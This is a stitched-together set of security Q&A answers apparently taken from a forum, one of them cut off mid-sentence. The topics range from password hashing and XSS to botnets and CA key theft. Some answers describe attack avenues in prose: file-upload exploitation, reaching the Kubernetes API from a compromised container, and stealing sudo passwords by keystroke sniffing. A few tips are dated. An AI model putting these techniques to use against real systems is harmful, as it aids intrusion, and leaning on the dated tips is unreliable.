Windows Authentication only refers to the authentication part and does not mean that the data you transfer are protected. You still need to use HTTPS for data protection.


What PDF file format alternative should I choose if I am looking for more security in my document files?

There are a number of ways to divulge documents, all with their pro and cons. A simple comparison of a number of common formats is:
Format             Pro                           Con

MS Word .doc    Everyone can read it           Allows macro viruses

odt             Everyone can read it           Several exploits known

PDF             Everyone can read it           Javascript etc.

HTML            Everyone can read it           Not fixed document layout,
                                               Javascript

Postscript      Almost everyone can read it    Not as flexible as PDF
                (or at least print it)

mark-down       Everyone can read it           Rudimentary lay-out possible

DjVu            Readers available; Chrome      Not standard on Windows,
                displays it                    readers must be installed explicitly

EPUB            Almost everyone can read it    Allows scripting (epubjs
                                               or even javascript)
LaTex, groff    good formatting                Requires that the document
                                               is processed before it can
                                               be read

The obvious choice would be postscript.
Alternatively, you can do a conversion yourself; On a Linux system, pdf2ps or pdftops will create a postscript file. You can then convert it back to PDF (ps2pdf). That will create a relatively clean PDF file, stripped of all sorts of PDF niceties.
----EDIT----
Added some more formats.
As stated in the comments (@schroeder), this is also about user experience. It depends also if your the recipient of the document, or the sender. And if you are the recipient, whether you have a central point where you can cleanse the document.


Why do people think that this is bad way to hash passwords?

The wrong things on your method are:

You use way too few iterations (20 is too low, it should be 20000 or more): password processing is still too fast, an attacker with a basic PC will still be able to "try" dozens of millions of passwords per second.
There is no salt: an attacker may attack several passwords with very low per-password cost, e.g. with precomputed tables of hashed passwords (in particular rainbow tables).
You are in the process of inventing your own cryptography. There is nothing wrong with being inquisitive and trying to understand things, but since there is no sure test for knowing whether a given algorithm is secure or not, inventing your own cryptography is often a recipe for disaster. Don't do it.

What you should do is to use bcrypt; there is a PHP implementation in the Portable PHP password hashing framework.


Can a compromised OpenSSHD server be used to upload a malicious payload to a client?

Yes. The server is sending back data of its choice to be processed by the client. If there is a flaw or an exploit, it can be taken advantage of by the malicious server. Even if this is legitimate software.

The fact that its well maintained, battle tested, etc does not mean its guaranteed to be free of vulnerabilities. There may be new bugs introduced with new features, protocol misimplementations, etc. The probability may be lower, but its not impossible.

Based on your edit as we discussed below, the protocol does not need to have a flaw in order to be abused. Following the protocol does not mean it's not use weak ciphers, misimplementations in processing, etc. It can follow the protocol and bad things can still happen. Bad data can go over a good protocol.

A protocol weakness could allow for known plain text or compression analysis type attacks (e.g., CRIME). When you are attacking a encryption protocol, you are generally trying to mess with the confidentiality by finding a way to guess keys, decrypt, influence key choice, etc.

It sounds like perhaps your are asking if a protocol could have rules such that good data is modified and then interpreted on the other end such that it triggers an exploit. Theoretically based on the options and processing of protocol, that may be possible, but in most cases that would still be considered  flaw in the sever or client.


What are spambots doing with unintelligible login attempts?

These logins might be the result of spambots outwitting each other. This scenario doesn't seem that implausible to me:

Webmaster sets up a web forum for testing purpose
Webmaster forgets that he even did and lets it keep running on some forgotten webspace
SpambotA finds the forum, and decides to have some fun with it. It creates tons of accounts with random names and passwords and posts spam search engine optimization.
A critical security flaw in the forum software is discovered which allows to read usernames and passwords from the database. Webmasters are urged to install the patch ASAP, but our webmaster doesn't care.
SpambotB comes around, hacks the forum using that vulnerability and gets the login data
Not noticing that these aren't legitimate logins, SpambotB tries the same username and password combos on another forum, because people tend to use the same usernames and passwords on different websites.


Encrypting a fixed format message with commands and transmitting over the internet

As already mentioned by @Georgios, if all you want is to validate the integrity of your transmission and the fact that it was generated on site A, then you should look at signing.

Whether to use encryption or not is another case. And it's up to you to decide.

Are you OK with your user seeing the submitted data in plain text? I suppose so, as I assume it's mostly user-generated input that gets transmitted either way (correct me if I'm wrong).

You may want to encrypt this data to circumvent eavesdropping on the way to site B, but it's your call to decide if it's worth the added overhead.


Javascript: remove sensitive data from memory

This should be a comment, but its a bit long.

  "automatically" freed when they are not used anymore

Freed does not mean removed from memory, only that the data is eligible for garbage collection. They are inaccessible from Javascript but will likely persist in memory for some time.

  the passwords of every opened item were clearly readable

What do you mean by "opened item" - if its a site you are were accesing around the time of the snapshot (bearing in mind that HTTP is stateless) this rather implies the data was in use.

  I'd like to know if there is a way to prevent this behaviour

Do you intend writing your own password manager? Are you asking if 1password can be reconfigured to behave differently?


It's persistent enough to be retrieved.  There's no reason to keep any personally identifiable data unencrypted.  If you can access it without a key so can an intruder.

Make it secure, and it will be compliant.  Don't try and make it compliant by adding security later.

Being compliant (by passing your ROC) doesn't mean much to be honest.  Companies that perform that activity are of varying skill, and often are selected based on the subject companies likelihood to get a pass.  That is not how you protect your companies brand.

If you want ammo for the highers up, what about Massachusetts privacy law?  How are you complying with your data requirements there?  What about the EU   http://en.wikipedia.org/wiki/Data_Protection_Directive and the third party transfer clause?

Encrypt PII/PAN data whenever it's sitting, setup appropriate key management, and use proven crypto-systems to do it.  Be smart about protecting your customers data and your companies brand image and you will be compliant.


Is there any authentication system whose protocol always notifies the "target account" of impersonation?

The problem here is that all forms of impersonation are carried out for different reasons:

sudo is normally used to allow a low privilege user to carry out tasks normally requiring higher level privileges
Exchange impersonation can be used to allow any users of any privilege level to send messages as another user, but without allowing other functions of the account
Helpdesk impersonation tends to allow high privilege users (IT staff) to take on the role of lower privilege users (everyone else) for specific purposes (in this case, "privilege" relates only to the system access - not the company hierarchy). However, it can also be used to allow for activity monitoring where there is a suspicion of wrong doing by an employee, for example.
RunAs is essentially the same as sudo in this context

As a result, they all have differing requirements for logging and notification:

sudo: should log the actual user account, and the activities performed
Exchange: probably need to log the original user, but the activities are logged as part of normal usage, and since permission is normally granted by the legitimate user, may have an implicit "this action was performed by the main account holder" status, even if an impersonating user actually performed it. Consider a secretary sending a letter on behalf of a manager - the manager is usually considered to be the "sender", even if they didn't press "send" themselves.
Helpdesk: the impersonation should be logged, but it can be difficult/impossible to log the specific activities performed. For example, they might just be showing a user how to find a dialog within a complex system, where the only method of logging would be noting where mouse clicks were, and potentially taking screenshots at those moments. If the employee is being investigated, notifying them may compromise the investigation.

Due to this problem, it's not really a topic which lends itself to standardization in an RFC - there would be so many exclusions and exceptions that it would be almost worthless, and virtually impossible to build an inter-operable system.

The steps you've outlined wouldn't work for some of the examples you have either:

sudo - who would you notify? The root account? How does anyone access it? Through sudo, in a lot of modern systems!
Exchange - one common use is for people to be able to respond to emails whilst the email recipient is on leave. If they had to get approval for each attempt, that use case falls down. It would be fine for other use cases, such as having one person prepare emails on behalf of another.
Helpdesk - one common use case is to sort issues with logging into accounts. If a user can't log in, they can't accept the impersonation as valid until the issue is


Setting up NAT with firewall for RDP connection

Source address restriction is a good idea if your vendor use static IP addresses.
Btw, as Mike Naylor mentioned, you should translate to non-standard port instead of 3389 to prevent insider threats from your vendor.
The last point is you can limit connection rate to prevent brute-force or flood attacks even when attacker know the service's port.


What is the best solution to encrypt pagefile?

Encrypting the pagefile implies you're wanting to protect against someone taking the file after gaining physical access, which is best dealt with by whole disk encryption. If an attacker has access while the os is in operation, the pagefile is neat to go through for historical purposes but otherwise juicier targets abound. If the purpose is to clean tracks after having used a ton of ram, then you're better off using a cleaner tool of some sort (yeah that's vague, you figure it out) to selectively edit/overwrite.


John the ripper is not identifying hashes

There seems to be something wrong with your JTR installation. I suggest reinstalling/recompiling and trying again. When I run the hash you supplied in the comments, I get the following:

Loaded 1 password hash (zip [32/32])

It is currently cracking against a 160mb wordlist.


Egress filtering - can it be relied upon on the Internet?

Egress filtering is not what you want to do because you don't always have authoritative proof of the source of the traffic (the Internet is a mesh, not a hub/spoke). Ingress filtering is a more effective tool.

With ingress filtering, you know whether or not an IP is within your IP range. If a packet comes in with a source that was supposed to be from your network and you never saw it leave your network, then you know that something is wrong.

That's more difficult with UDP (connectionless), and the resource overhead is high.


Is it possible to get XSS through uploading an image via the filename?

Could there exist some site that is vulnerable in this way? Sure, obviously. If the server takes the user-supplied file name and tries to emit it, unescaped, into the document, you'll get XSS. Same as any other user-supplied data.

Is the particular site you're looking at, or indeed any site on the whole Internet right now, vulnerable? We have no way to know the former, and I at least don't know the latter.

Mind you, there's a ton of ways to attack file uploads. Upload an HTML file containing malicious javascript and then request it from the server for XSS. Use path traversal to overwrite other files, which can overwrite user data, trash the server, or potentially get you code execution on the server. Use spaces and shell metacharacters to try and get command injection (code execution). Upload a server-side code file (PHP, ASPX, JSP, whatever the server uses) and navigate to the page to see if you can make the server execute your code. Upload a zip bomb and try to denial-of-service the server. Upload a really big file and see if the server tries to hold it all in memory. There are so many options! It depends on what kinds of files the server expects, how it enforces that (content type? file extension? magic number?), what sanitization it applies, what the server does with the files, whether the user can request them back again, and what happens when the user requests them. Just like literally every other kind of input.


Not used any of these myself but there are a few:

https://blackholemx.abusix.com/
http://www.sorbs.net/listing/submission.shtml
http://www.barracudacentral.org/rbl/how-to-use
http://www.spamhaus.org/faq/section/DNSBL%20Usage

State of the art protection is about blocking transmission as far upstream as you can. Ensure that you can blacklist as close to the edge of your network as possible. Better still get a specialist to handle you incoming mail before it gets to your network & only pass you cleansed email.

Our own stats from a 12k user system shows many millions of spam messages per month though we are probably a larger target than most.


Getting to the Node address from a compromised container can be non-obvious, depending on which Container Network Interface (CNI) plugin is in use.

You can try traceroute from the container and in some cases the first hop will be the node IP address.

Getting to the Cluster API address is generally much simpler.  The default in all clusters is to create a service for Kubernetes and to inject the Service IP address into each container as an environment variable.  If you look for KUBERNETES_SERVICE_HOST that should show you an IP address you can connect to.


How can VPN providers end violating accounts when "they don't log any data"?

Claim to "not log" is not the same as "not monitor connections". First is saving traces, second is analyzing activity when it happens, that does not necessary generates logs.

However, while not totally clear, I understand they claim to not monitor too:

  NordVPN does not monitor, store or record logs for any VPN user.

They do not monitor logs (since this is written in their Logging Policy) or connections? Maybe depends on who is asking :)?


How can a bad process obtain root by waiting for a user to run a command as sudo?

You're right that sudo only grants elevated privileges to the command you run with it.

What the commenter is referring to is that running processes in a Linux desktop session can watch the keystrokes on that desktop session without you knowing. So if you open a terminal window on your desktop, type sudo <some command>, and enter your password at the prompt, a malicious program could be keeping track of the keystrokes you typed in and then silently pass the captured password to its own instance of sudo to run whatever command it likes as root.

As a simple (non-malicious) example, the program screenkey is able to watch the keys you type without needing root privileges. Also, I would bet that global hotkeys (e.g. the Super key) work in much the same way.

This sounds pretty scary. As for possible countermeasures, I don't really know if there are any once the "bad process" is running on your system. So, all you can really do are preventative measures, like:

Practice good internet hygiene, i.e. don't download random untrusted executables from the Internet
Be careful which files you set the execute bit (chmod +x) on
If you have to run an untrusted executable, run it with the lowest possible privileges
(e.g. sudo -u nobody <untrusted program> will run <untrusted program> as nobody, which has no access to your user's X11 server and therefore can't watch your keystrokes)


How to determine if ViewState has MAC enabled when crawling a page?

The "ViewState" is part of the page, as a hidden field value to be sent back to the server. If the ViewState is protected by a MAC then the MAC value is part of it, so it is a matter of extracting the ViewState value from the page, decoding it, and then see if there is a MAC or not. Burp does just that.

ViewState format is not publicly documented (you are not supposed to fiddle with it) but it has been reverse engineered.


There is a potential man in the middle attack by the server (B) in your model. Server can give mobile (A) its own public key as if it is coming from a client and it can give its own symmetric key (sk) to the clients as if it is coming from you. You need to implement out of band end-to-end authentication for the clients in other to authenticate A where server is not a medium.

If the server is controlled by A itself then end to end encryption becomes optional.

About your 1st idea, that's the way it has to be implemented as WhatsApp group management does. So it's not an option. It's necessary.

There's no problem in using symmetric ratchet except that it only provides perfect forward secrecy and there is no future secrecy. It means if current chain key gets compromised, the entire future chain is now predictable and future messages can now be decrypted. The threat actor just have to compromise one client. This is also a problem with WhatsApp group messaging.

  If a member leaves the group we send a new secret k to all the current members and derive a new chain-key.

You also have to generate a new root key else it is considered compromised when someone leaves. The root key is basically a seed value here.

Why are you using root key to initialise the chain? In symmetric ratchet, the chain can be initialised by first chain key itself using HKDF. Clients only need to know the first chain key sent by you.

You also have to digitally sign the messages to prove that it is indeed you who sent the messages and not a malicious client producing fraudulent messages. Public key to verify the signature can be obtained from B.

It's not really expensive as the actual load is carried by the server. You send one message and the server sends multiple copies of it.
It breaks end to end if you share keys unencrypted.
You and your clients have to clear all the existing keys once a client leaves else they are considered compromised. Both root key and chain key.

  When we have many mobile devices A, all the clients need to store many secret keys sk. If one of the Ci stores the keys insecurely they are corrupted for all the other Ci.

And that's why imposing a group limit in multiparty encryption is important. Group management with large groups become very difficult. One compromised client in your case can expose all the keys along with the future chain attacker needs to know. The key exchange also becomes quite lengthy when someone leaves. For mobile devices A, lengthy key exchange is a problem.

What you can do is to associate limited number of clients with A1 (say 500) where A1 is the admin. Another 500 with A2 and so on. But don't merge them with each other else each client in the network becomes a single point of failure for every other client. Clients can also act malicious so one of them can intentionally release the keys in public but then the group is compromised anyway without involving the outsider.

It's not recommended to roll out your own implementation, see Why is it wrong to implement myself a known, published, widely believed to be secure crypto algorithm? But what you are implementing is already in use. What you need is a proper group management to exchange keys.


What are the pros and cons of disclosing a vulnerability before it is patched?

The main argument for a fixed deadline is probably that history shows that many vendors will take ages to fix software if no hard deadline is set for disclosure. Since it is likely that others will find the same bug too (or have already found and use it) this means that users are at increased risk without being aware of it. This also means that they will not add additional defenses to deter the risk, like  increased monitoring, replace affected software with a more secure one, or reduce the risk by temporarily taking affected systems or services offline.

The main argument against a fixed deadline is that some bugs are more hard to fix than others and thus fixes take more time and that maybe there are no effective workarounds for the customers. Thus customers have an increased risk while the vulnerability is known to the world and thus potential attackers but no fixes or workarounds exist. But at least they can be aware of this additional risk. Past has shown that if this is the case it is often sufficient if the vendor works closely with the security researchers to get the problem fixed as fast as possible. And if past experiences with the vendor where positive the researchers often extend the deadline a bit this one time.

Regarding the Google Zero Project: one might complain about their hard deadlines but if you look at the work they do and how fast most vendors react to the bugs found the strategy of a hard deadline seems to be successful: many bugs are fixed within  a few days, i.e. much shorter than the deadline. And I very much doubt that this would be the case if the pressure of the deadline was not there.


What if someone steals a Certificate authority's private key?

If someone steals a CA's certificate signing key, the already signed certificates remain valid. But that doesn't mean they are not harmed. The whole point of certificates is that only a trusted party can produce them, so that when you see a certificate, you can be confident that it is valid and that you're talking to the entity you intended to talk to. If an untrusted party can produce a mathematically valid certificate, then the certificate is not worth the electrons it's written on. This means that all websites (not just the ones who used the CA's legitimate service!) are vulnerable to a man-in-the-middle attack carried out by the attacker (barring partial countermeasures such as certificate pinning). See What are the risks of a Certificate Authority hack for 'the average user'? for more explanations of the consequences of a stolen CA certificate signing key. Basically, not just the certificates emitted by this CA but all certificates are harmed.

To counter this harm, it is necessary to revoke the trust in the compromised key. This means that verifiers — browsers and other TLS clients (and servers, for client certificates) — must stop trusting the compromised key; until this is done no certificate from that CA can be trusted.

Normally, a CA has another key which they can use to revoke certificates. The revocation key should be kept with stringent security measures: unlike the signing key, which is used daily to sign certificates and thus has to be relatively accessible, the revocation key is hardly ever used (only to certify a new signing key or to revoke an existing one), so it can be made hard to access (typically requiring multiple officers of the CA to enter key fragments manually in an offline, physically secure environment). Once the compromised key is revoked and, a one is deployed, and the old certificates are re-signed, the harm is undone. As you can imagine, doing all of this, especially propagating the information to all browsers out there, would take a while, and given that it's an uncommon event, there would undoubtedly be platforms that keep thinking the old CA signing key is valid.

Another more drastic way is to update verifiers to remove the compromised CA from the list of trusted CAs. This solves the problem for certificates that aren't emitted by the compromised CA, but leaves the customers of the compromised CA in a lurch: they need to get another CA to sign a new certificate.

By the way, it has happened before.


Ignore them.

They look like automated scripts looking for common vulnerabilities in sites on the Internet. You say your site is built using RoR so the server most likely doesn't contain software like phpmyadmin. You won't be affected.


Minimum size of input text box required for XSS attacks

Your solution doesn't prevent any XSS attack.  The HTML input tag attribute maxlength is an instruction to the web browser, that a malicious attacker can trivially change in any modern browser by dynamically altering the DOM.

<input name="userName" type="text" id="userID" maxlength="8"/>

Your sanitation routines have to be done with server-side code.  That is this type of sanitation could be done if you truncate any input that's longer than ~8 characters when in your server-side code (not in the HTML attribute that a client can easily modify).  Beware that html/js is quite forgiving (and you'd have to test all browsers), so once you get to lengths of more than len(<script>) ~ 8, I think this mechanism likely could fail for some clever use with some bad browsers.

However, this is still an inane route to preventing XSS (unless the only data your application will ever take and possibly ever display back to any user is 8 characters and your server side code truncates this user input at ~8 char). You really need to either:

Run through a well-known HTML sanitizer/purifier that you didn't write yourself or
First escape all the special html characters in user input ("&'<> to their HTML escaped versions: &quot;&amp;&apos;&lt;&gt;) and then apply rules of a safe lightweight markup language (like reddit markdown) to only allow safe things like links [links](http://example.com) (checking the protocol is in your safe whitelist e.g., http/https/ftp) or italicized (*italicized*) or bold (**bold**) text.


Does the compiler feature of Closures decrease member variable security?

Despite the visibility promotion, Closures do not present any new security issue.

This is because of the simple reason, that visibility (i.e. private/public) is not a security mechanism in the first place.
Just because you marked your password field as private, doesnt mean it is not accessible. It's not accessible, but only to code that behaves nicely.
It's still accessible easily in code, e.g. via reflection. (Of course, consumers of your class shouldn't do that...)

And that's even without going into things like debugging, memory inspection, etc...

So - as I said, it doesnt affect the level of security. You'd need to protect that Password field, but you'd need to do that anyway.
(Suggestion: store passwords as SecureString instead of strings... )


What is a threat model, and how do I make one?

FilipedosSantos' answer does a great job of explaining a formal threat modelling exercise under, for example, the Microsoft STRIDE methodology.

Another great resource is the threat modeling course outline on executionByFork's github.

When I use the term "threat model" on this site, I usually mean something less formal. I generally use it as a response to new users asking "Is this secure?" as if "secure" is a yes/no property. It's usually part of a paragraph like this:

  That depends on your threat model. "Secure" isn't a thing; secure against what? Your kid sister snooping on your iPhone? A foreign government soldering chips onto your datacentre equipment? Or something in between?

I really like the Electronic Frontier Foundation's threat modelling framework, which focuses on asking these three questions:

  What are you protecting?
  Who are you protecting it from?
  How many resources can you invest in protecting it?

I really like the way the EFF has written this because these simple and easy to answer questions can guide someone with zero background in security into figuring out "the right amount of security" for them.


Differences in certificate verification between ssl libraries

Pending more info in the question, I would guess that when you invoke the req command, you are using the same Distinguished Name (DN) for all certs. If so, the error that you're seeing on both openssl and libressl

error 18 at 0 depth lookup:self signed certificate

is because the SubjectDN and IssuerDN are the same, so openssl expects the cert to be self-signed (ie signed with its own key). As suggested by this SO answer.

RFC 5280 (the X.509 spec) says:

  Name chaining is performed by matching the issuer
     distinguished name in one certificate with the subject name in a CA
     certificate.


Is there a foolproof method to remove spyware from Android smartphone?

This can be done in two easy steps:

Wipe your Android phone.
Download an official factory image and flash it.

This way you make sure you have a clean firmware from the official source.


Is it secure to have an "email no longer available" feature on your registration form?

A way to implement the availability check without giving any feedback to potential attackers is to always send an email to the address used for the registration. What the content of the email could look like:

"An account for a@b.c [with username xy] was just registered at $site. Click here to confirm."
"Somebody tried to register an account for a@b.c  [with username xy] at $site, however this account already exist. If you forgot your password click here. If did not initiate the registration please disregard this email."

This way, only the real owner of the email address will be able to check whether the address has already been used to sign up for the service. This approach is for example used by Ubuntu One.


No, you can't do this unless the host happened to be on the same local network - at each hop, the router changes the MAC addressing.


State Government website find an IP address?

Yes, it is possible that the IP that was used to navigate to the contact form was logged. The problem is that knowing the IP isn't going to do much. IP addresses can change every time you connect to the Internet (from your phone, from free wifi, from your home, and sometimes even when you connect again from the same source).

I think you are trying to prepare for a problem that doesn't exist. Anyone can use your email address on contact forms, or even mistype their own valid email address. I know that I get a lot of emails from contact forms when people with email addresses similar to my own make an error.


What are the industry guidelines on sharing secrets like API or access token?

OAuth2 might be appropriate in this case, the official standard is RFC6750.

There's no need to devise your own crpytographic protocol (which is widely regarded to be a bad idea).

EDIT:

For one-time-sharing you could simply use asymmetric encryption. You encrypt the token with the receiver's public key and only the receiver can decrypt it with his private key. Sending an AES256-encrypted token and the decryption key via another channel seems a little bit overkill.


Applications modifying the location of python.exe, what are the dangers?

The problem is not restricted to Python. Basically it boils down to the problem that some application can install programs, tools or libraries on the system which then gets used by other application.
This can have several side effects. Sometimes it is clearly breaking other applications since the new tools or libraries with the same name work differently (like Python installation with different modules installed or Python2 vs. Python3 installed). But often the errors are more subtle, like when an older library or tool with security vulnerabilities is now used instead of a newer library which is on the system too.
The problem behind this is that the program installations on a typical Windows desktop system are not clearly separated from another. With other OS like Android or iOS there is a much harder separation between the apps so that they don't affect each other that much.


secure ways to prevent access to an application by more than one person at a time?

There are no secure way to prevent users from running more than one instance of your application on their machines if they have a copy of your application. If a user has a copy of your application, they can always find ways to subvert any checks you make.

The only secure way to limit user's access to your application is to not run your application in the user's machine. In other words, a web application.

DRM can do an OK job to prevent users from using one instance of your application at a time for licensing reason. But trying to run trusted code in untrusted machine is inherently insecure.

DRM is a losing game for developers and legitimate users alike. License infringer will always find a way around DRM and DRM often will find ways to inconvenience and alienate legitimate users, which increases support costs.

  I was thinking of testing System properties for Server versions of Windows, etc, but then I realized you can remote into any computer, with a variety of programs, so that is out the window.

An illegitimate user can always edit any files/settings/registry in their computer. There's nothing you can do to prevent this. They are the one with system administrator privilege, not your application.

  Is it a security issue if I connect to my server, with FTP, before the application even logs a user in?

Unless your application heavily rely on the network connection as part, you cannot rely on the network connection. If your legitimate user does not have internet connection at their home, your application will either have to refuse to run (inconveniencing legitimate user) while an illegitimate user can just disallow your application from accessing the internet using an application firewall.

  I also thought about trying to find and see if the application is already running on the machine (as a process or task i.e., what shows in "Task Manager").

This would not protect against running on different machines or running your application in virtual machine. On the other hand, legitimate users may need to legitimately need to run multiple copies of the application, or your application may be stuck as an unkillable zombie process in the background and legitimate user may find themselves needing to reboot their system to restart your application again.

Licensing restrictions and DRM can only keep honest people honest.

"My application truly cannot be run as a web application, because X, Y, and Z. With DRM being futile, what can a software developer do to protect their revenue?"

If you develop a great application at a reasonable price, people will want to pay for it. Put up a simple license check you can put together in a couple hours or even go DRM free, and be done with it. Accept the risk that there will be illegitimate users and use legal measures to attack major infringers (circumvention of even simple DRMs like dumb license key check is legally protected in many countries). Avoid DRMs that do weird things like implanting itself in the MBR/boot sector or trying to hide itself from System Administrator as a rootkit. They are more likely to cause legitimate users frustrations than to hinder illegitimate users.


I'm going to take a stab at this question by pondering some various things I know. Don't take this as advice from a professional who actually works in this area or anything. This is written with what I've heard about botnets in mind, not that specific one. And what I've heard may now be historic. Basically, this isn't a great answer. With these things in mind...

Firstly, most traditional botnets are viewed as three entities from various types of people: the client, the master-client, and the server. The client goes on the victim, the server issues commands, and the master-client is just a spiffy interface to handle the server. Having the executable on the victim's machine as a server that allows a client to connect and control it is what many 'skids' do, but is worthless in 2012 due to decent firewalls being ubiquitous. Therefore, botnets use a system various types call 'reverse connection'.

So if you wanted to shutdown a botnet, you would hit the server, thus killing the ability for the master-client to issue commands to the victims. Sounds great on paper, but not so great when you go to apply it. For example, a lot of botnets are P2P, so there's no centralised control, or at least not one that's easy to locate. Some can detect when a server has been knocked off and then automatically start up a new one elsewhere. You could have servers managing servers managing servers, each step being done through layers of masquerading indirection. You get the idea.

Many botnets have updating features. That is, the server can issue upgrades to the client executable on infected machines. These updates may have new ways of bypassing newer heuristic scanners, for example. So one way to eliminate the botnet would be to get control of the server and issue an update that replaces the infecting client code with an empty executables across all of the victims. Just an idea...

I read a book by Symantec a while back (forgot the name). It detailed a process where anti-malware companies have vulnerable machines connected to the Internet purely to get infected so they can check out what's floating around. So perhaps a fad botnet would infect one of these machines, and then the company can check where the commands are coming from. Naturally such commands would go through dozens of layers of indirection, but it's a start, right?

Here's another idea: maybe such companies got a person into the areas where such botnets are developed. Private forums and the like. Crackers love to brag about their prowess, boiling all of their achievements down to an ego trip. It's pretty obvious how this can go wrong for them.

Also, you have different categories of people who write these nasty things. The herders, the researchers, etc. I don't honestly think all of them fit into this, but it's a good way of looking at it. So there may be multiple responsible, which complicates a permanent takedown.

It takes one person of technical prowess to make a new aspect that dozens of script kiddies then employ on their malware like botnet clients. RunPE, for example, was probably actualised by a geek who had no intention of infecting, but was then used by the kids since the said geek provided an easy-to-use interface that the kids could comprehend.

So when you do find those responsible for a botnet, no doubt a lot of the contributors get let off the hook. Who do you blame primarily? Anyone's who code was used in it, and that such code was specific enough to be /only/ used for nefarious purposes? Or Just the main coder? I don't know to be honest.

Sorry for this ramble. I was just pondering how botnets might get taken down in general =)

EDIT: To answer your second question, security updates can render a piece of malware completely inoperable from only a small tweak in the system. Malware is often highly specific to certain setups.

Windows is the top target of malware, so Microsoft being the official updater of it means they have a lot of power to get rid of the botnet clients. Not only by rendering botnet clients inoperable with system changes, but also by updating their security software like Malicious Software Removal Tool to pick such malware up.


Is it possible to see if a script on a website steals session cookies?

I think your premises does not get the whole issue:

The script you embed from external sources can be changed at a later time.
Stealing the session cookie is just an easy way to leverage and XSS vulnerability. Instead of stealing the cookie and using it from another computer to do malicious things, the malicious script can do those things directly without steeling the cookie. This has a number of advantages from the attackers point of view:

It works with the HttpOnly flag since the script just sends the request using the normal browser means such as submitting a form. This can be done in an hidden iframe
It does not reveal the ip-address of the attacker to the server. This is especially true in the context of reflective XSS attacks.
It does work with additional authentication mechanisms such as http basic auth or binding the session to the client ip-address.


There's a number of possible aspects at play here.  First up as @gegenbeispiel says it could just be a bluff, however lets consider the possibilities if it's not.

Unencrypted wireless. Obvioulsy if people have unenecrypted wireless it would be technically possible to sniff traffic going over the network and determine whether iPlayer URLs were accessed and then correlate that with the License fee database.  You still have the problem of narrowing down the signal to a specific property (which could be quite difficult in things like flats, but it's technically possible)
Encrypted wireless. Here you can't get any details on the content being transmitted but in theory you could get some details about the volume of traffic being sent/received.  Now in a lab style setup where there were no other wireless signals, if someone was watching a live broadcast, you might be able to say "that wireless network transmitted roughly the same amount of data as that stream is sending" and indeed that seems to be what they're describing. Where you own the server end of a connection you could modify the volume of data sent in a pattern that might be observable in a controlled environment.
Wired network.  Outside a property there's basically no chance of detection using vans or the like.

So technically there are some possiblities with the wireless scenarios.  So what are the problems here?

Legal.  This is generalized traffic sniffing and would inevitably (in the unencrypted scenario) gather data not related to iPlayer.  This leads to potential privacy/legal issues as faced by Google with their street view data gathering.
Technical.  The number of unencrypted wireless networks is much much lower than it was in the earlier days of home broadband.  All the major ISPs that ship Wireless routers make used of WPA2 encrpytion by default, so in most cases you're looking at the encrypted wireless scenario.
The problem with what they're describing in the article is that to me it seems likely that even if it works in a lab environment, in a real-world scenario with the huge mess of connecting devices, connections from each device and the vagaries of Internet traffic, isolating the patterns being sent in a reliable way that would stand up in court seems unlikely.

Overall it seems most likely that this is a bluff (or someone has managed to sell some snake oil inside the BBC and is going to make some good cash desiging the solution), however we'll only really know if more details emerge, most likely when someone refuses to pay the BBC after being told they're infringing and taking the matter to court.


Bridge Exploit of Network Multi-function Print/Fax Devices

Multi-function printers have reasonable computing power, and many are in fact linux devices, so it is theoretically possible that someone could use it to bridge into a network. It would make little sense to try it though:

Slow access: most faxing happens at 9600 baud, that's really slow. Even if you could negotiate faster the best you could realistically hope for is 64k, which is still very slow
Easily traceable: the internet allows for a huge amount of anonymity in attacks - an American hacker can attack a French company using a hacked Chinese computer and everyone will think it is state-sponsored espionage. However, dialing a phone line leaves a traceable record. Why would you take the risk?
Attacks cost money: it's unlikely someone is going to dial locally to attack a company, so long-distance or international phone charges will add up. If the attacker is a phreaker as well then he/she won't be paying, but someone will, and they may investigate
A printer suddenly accessing drive shares or scanning systems would stand out much more than a user laptop doing the same, it would be more likely to be noticed
Low re-usability of attack: if I come up with an attack that works on say one line of HP MFPs then it will only work against those machines, not against Xerox, Canon, or any other printer model. In fact, the attack may only work on one line of HP, or even one model range. That's a great deal of effort for something that would only work on one subset of machines
Easy to defeat: If I was worried about this all I'd need to do is put my printers in a network behind a firewall and prevent them from accessing anything. I'd also look at the phone records regularly
There are much more effective and easier ways to attack someone: targeted phishing attacks against companies using 0 day or only recently patched vulnerabilities is far less challenging and much simpler to do than trying to subvert a printer over a phone line

The only time I could see concern for this being worthwhile would be in an environment which has no internet access however they did have MFPs plugged into phone lines. Even then an attacker is more likely to use removable media as an infection vector.


File signed with maliciously installed certificate on machine

Yes, this is called certificate pinning.  You would simply verify the signature against a particular public key rather than any trusted public key when doing the verification of the signature.

That said, if the attacker has already compromised the local machine and installed a root certificate, they are unlikely to need to mess with your update mechanism to compromise your software anyway since they are already performing trusted actions on the client.


You might want to look at Nessus Compliance checks.  They provide an interface which allows you to check files for specific items and settings.

Also there a quite a few pre-defined templates available through the support portal which cover a wide range of unix/linux flavours, and checks against the Center for Internet Security standards amongst others


The answer to this very much depends on the circumstances.

If you're on a time-limited test or exam situation, then I'd recommend against trying to write your own C-based tools as part of post-exploitation.  It would be very time consuming and likely not the best way to approach it, as there are a huge number of post-exploitation tools that have had 1000's of hours of development time and you don't want to replicate that.
If you're doing this purely for your own research/education and have no time constraints then, sure, something like C or Go would be a good language to write things in as they're cross platform and have minimal dependencies once compiled.


How to convert risk scores (CVSSv1, CVSSv2, CVSSv3, OWASP Risk Severity)?

I am the lead architect of a very popular vulnerability database and we face similar problems. At the moment we have nearly 90'000 vulnerability entries with a CVSSv2 base and temp score. We are adding CVSSv3 scores and trying to convert most of the old data. I am going to discuss this transformation only to illustrate the basic principle of such.

The most important aspect is: Do not try to convert the scores themselves - Transform the vector into the new format and re-calculate their new scores instead.

If you take a look at the user guide of CVSSv2 and the specification of CVSSv3 (generic link might change in the future) you can see that some of the base vectors might be transformable:

AV (P is new)

N => N
A => A
L => (L|P) (usually L)

Au => PR (needs manual optimization)

N => N
S => (L|H) (usually L)
M => (H|L) (sometimes H)

CI / II / AI (see comments below)

C => H
P => L
N => N

E

H => H
F => F
POC => POC
U => U
ND => X

RL

OF => O
TF => T
W => W
U => U
ND => X

RC (some deviation)

C => C
UR => R
UC => U
ND => X

But there is some additional complexity regarding other vectors:

AC in v2 is now somehow split into AC and UI
Even though CI, II and AI stay the same, v3 has added S. In most cases a CI:C/II:C/AI:C might promise a S:C sooner or later which might be derived by default.

If you follow this definition you might be able to convert approx. 97% of all issues without touching them manually. The deviation in accuracy during such a transformation is usually very small.


Methods for remembering passwords around the web

For managing passwords, see this answer: the trick is not to remember them, but to store the passwords in some "reasonably secure" storage area.

